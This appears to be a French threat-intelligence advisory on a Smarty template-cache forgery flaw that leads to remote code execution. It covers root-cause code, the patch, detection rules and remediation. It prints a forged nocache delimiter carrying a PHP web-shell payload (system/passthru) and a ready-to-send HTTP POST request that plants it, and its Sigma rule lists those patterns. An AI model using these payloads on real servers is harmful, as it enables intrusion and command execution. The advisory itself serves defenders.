Aller au contenu

CVE-2026-82531 : falsification de cache d'héritage de modèle et exécution de code à distance dans smarty

Densité :
HERMES

SCORE DE MENACE HERMES & COMPROMISSION D'INFRASTRUCTURE WEB

Cible : Moteur de gabarit PHP Smarty — Gestionnaire de cache d'héritage (Cached::removeNoCacheHash)
Confiance : 98%
95 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 18 / 20
Militarisation 19 / 20
Exposition 19 / 20
Prévalence 20 / 20
Impact 20 / 20
Maturité de l'exploit 19 / 20
Potentiel d'attaque en chaîne 19 / 20
⚖️ Divergence & Justification opérationnelle

Le score CVSS v4.0 standard (9.2 Critique) ainsi que le score de menace Hermes (95 CRITIQUE) désignent la CVE-2026-82531 comme une vulnérabilité d'injection de code à fort impact sur les architectures applicatives web. Smarty est massivement intégré au sein des systèmes de gestion de contenu (CMS), des plateformes de commerce électronique (PrestaShop) et des wikis collaboratifs (Tiki Wiki). Lors de l'héritage de modèles via extends:, le rechargement des fichiers compilés depuis le disque omet de restaurer le nocache_hash racine, le laissant à l'état nul. Dans Cached::removeNoCacheHash(), cette valeur nulle crée une alternative vide dans l'expression régulière de découpage (realhash|). Toute entrée utilisateur réfléchie dans le modèle peut alors forger un marqueur /*%%SmartyNocache:%%*/ contenant du code PHP arbitraire, copié textuellement dans le cache et exécuté lors de l'inclusion suivante.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-82531: Smarty Template Inheritance Cache Forgery Remote Code ExecutionVULNÉRABILITÉ

Nœuds connectés : 1
Relations sortantes actives
→ affectsCOMPOSANTSmarty Template Engine
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Smarty Template Engine documented in Hermes dossier.”

Preuves vérifiées associées :

1. Contexte technique et matrice des logiciels affectés

Section intitulée « 1. Contexte technique et matrice des logiciels affectés »

Smarty sépare la logique métier de la présentation au sein des applications d’entreprise, assurant la mise en cache et le sandboxing des templates.

ParamètreSpécification techniqueDétails opérationnels
Identifiant CVECVE-2026-82531Référence de suivi international de la vulnérabilité
Plateforme logicielleMoteur de gabarits SmartyMoteur PHP de rendu de modèles pour applications d’entreprise
Composant vulnérablesrc/Template/Cached.phpMéthode removeNoCacheHash() et compilateur d’héritage
Classe de faiblesseCWE-94 / CWE-20Injection de code / empoisonnement de cache menant à une RCE
Vecteur d’attaqueRéseau (Port 80/443 TCP)Données formulaires ou paramètres d’URL transmis aux gabarits
Versions correctivesSmarty v4.5.8 et v5.8.5Filtrage des empreintes nulles et neutralisation des balises
[ Attaquant distant non authentifié ]
|
Envoi d'un paramètre HTTP forgé avec faux délimiteur :
/*%%SmartyNocache:%%*/<?php system($_GET['c']);?>/*/%%SmartyNocache:%%*/
|
v
+------------------------------------------+
| Application Web (CMS / E-Commerce) |
| Transmet la variable à Smarty assign() |
+------------------------------------------+
|
v
+------------------------------------------+
| Moteur Smarty (Cached.php) |
| Héritage extends: avec nocache_hash=null
| L'expression régulière accepte le vide |
+------------------------------------------+
|
v
+------------------------------------------+
| Fichier de cache compilé sur disque |
| Le code PHP est copié tel quel |
+------------------------------------------+
|
v
+------------------------------------------+
| Requête suivante : include(cache_file) |
| Exécution de code PHP arbitraire ! |
+------------------------------------------+

2. Analyse de cause racine et anatomie du code vulnérable

Section intitulée « 2. Analyse de cause racine et anatomie du code vulnérable »

La défaillance découle de la gestion de l’état du hachage de cache lors de l’héritage de modèles. Dans une structure utilisant {extends file="base.tpl"}, l’ensemble des fragments est regroupé dans une fonction unifiée (unifunc). Lors de la réinitialisation du processus sur un nouveau thread, l’objet de gabarit rechargé depuis le disque conserve un nocache_hash indéfini (null).

Dans Cached::removeNoCacheHash(), Smarty assemble une expression régulière censée reconnaître exclusivement les délimiteurs générés par le moteur :

// Code vulnérable dans Smarty/Template/Cached.php (Smarty < 4.5.8 et < 5.8.5)
public function removeNoCacheHash(Template $tpl) {
// Si nocache_hash est null, la liste des hachages contient une valeur vide
$hashes = $tpl->getCompiled()->getNoCacheHashes();
// FAILLE : l'instruction implode génère une alternative vide "(hash1||hash2)"
$regex = '/(?:\/\*%%SmartyNocache:(' . implode('|', $hashes) . ')%%\*\/)(.*?)(?:\/\*\/%%SmartyNocache:\1%%\*\/)/s';
// Le motif vide accepte n'importe quelle chaîne, incitant le moteur à interpréter
// les marqueurs injectés par l'attaquant comme du contenu dynamique légitime !
preg_match_all($regex, $content, $matches);
...
}

La mise à jour purge les entrées vides du tableau avant de construire la regex. Si aucun hachage valide ne subsiste, Smarty applique un échappement HTML intégral :

// Implémentation corrigée dans Smarty v4.5.8 et v5.8.5
$hashes = array_filter($tpl->getCompiled()->getNoCacheHashes(), function($hash) {
return !empty($hash);
});
if (empty($hashes)) {
// Le tampon entier est traité comme du texte ordinaire neutralisant les balises PHP
return htmlspecialchars($content, ENT_QUOTES);
}

3. Vecteurs d’attaque et militarisation opérationnelle

Section intitulée « 3. Vecteurs d’attaque et militarisation opérationnelle »
  1. Reconnaissance : l’attaquant repère une page publique utilisant l’héritage de gabarit et répercutant une valeur soumise par l’utilisateur (moteur de recherche, commentaire, formulaire de devis).
  2. Injection du délimiteur : soumission d’une requête HTTP véhiculant la fausse balise :
    POST /recherche HTTP/1.1
    Host: cible-ecommerce.fr
    Content-Type: application/x-www-form-urlencoded
    q=/*%%SmartyNocache:%%*/<?php passthru($_SERVER['HTTP_X_CMD']); ?>/*/%%SmartyNocache:%%*/
  3. Persistance dans le cache : smarty compile la page. En raison de l’alternative vide, la balise est recopiée sans neutralisation dans le fichier de cache PHP sur le serveur (/var/www/html/templates_c/...cache.php).
  4. Déclenchement du web shell : lors d’une seconde requête avec l’en-tête X-Cmd: id; whoami, PHP inclut le fichier de cache et exécute la commande système avec les privilèges du processus web (www-data).

4. Triage forensique et signatures comportementales

Section intitulée « 4. Triage forensique et signatures comportementales »
title: Injection de Faux Delimiteur Nocache Smarty
id: d8920bc1-4471-4798-a3f1-74f88219ae02
status: experimental
description: Détecte des requêtes web contenant des délimiteurs forgés SmartyNocache pour exploiter l'empoisonnement de cache.
references:
- https://github.com/smarty-php/smarty/security/advisories/GHSA-3w63-v7pm-cq9x
- https://vulncheck.com/advisories/smarty-before-4.5.8-and-5-x-before-5.8.5-php-code-injection-via-extends-inheritance-cache
author: Équipe CTI Hermes Codex
date: 2026-10-07
logsource:
category: webserver
detection:
selection_marker:
cs-method:
- 'POST'
- 'GET'
cs-uri-query|contains:
- 'SmartyNocache'
- '%%SmartyNocache:'
selection_body:
c-body|contains:
- 'SmartyNocache'
- '<?php'
- 'passthru('
- 'system('
condition: selection_marker or selection_body
fields:
- c-ip
- cs-method
- cs-uri
- cs-user-agent
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.t1059.004

5. Stratégie de remédiation et défense en profondeur

Section intitulée « 5. Stratégie de remédiation et défense en profondeur »
  1. Mettre à jour les dépendances : mettre à jour le composant smarty/smarty dans composer.json vers ^4.5.8 ou ^5.8.5 :
    Fenêtre de terminal
    composer require "smarty/smarty:^5.8.5" --update-with-dependencies
  2. Purger les répertoires de cache : supprimer impérativement l’intégralité des fichiers de modèles déjà compilés sur les serveurs web :
    Fenêtre de terminal
    rm -rf /var/www/html/templates_c/*
    rm -rf /var/www/html/cache/*
  3. Montage noexec : dans la mesure du possible, monter les partitions de cache avec l’option noexec ou déplacer le stockage du cache en dehors des chemins directement exécutables par PHP.
  4. Filtrage par WAF : instaurer une règle sur le pare-feu applicatif bloquant toute requête contenant la signature SmartyNocache dans les paramètres d’URL et le corps HTTP.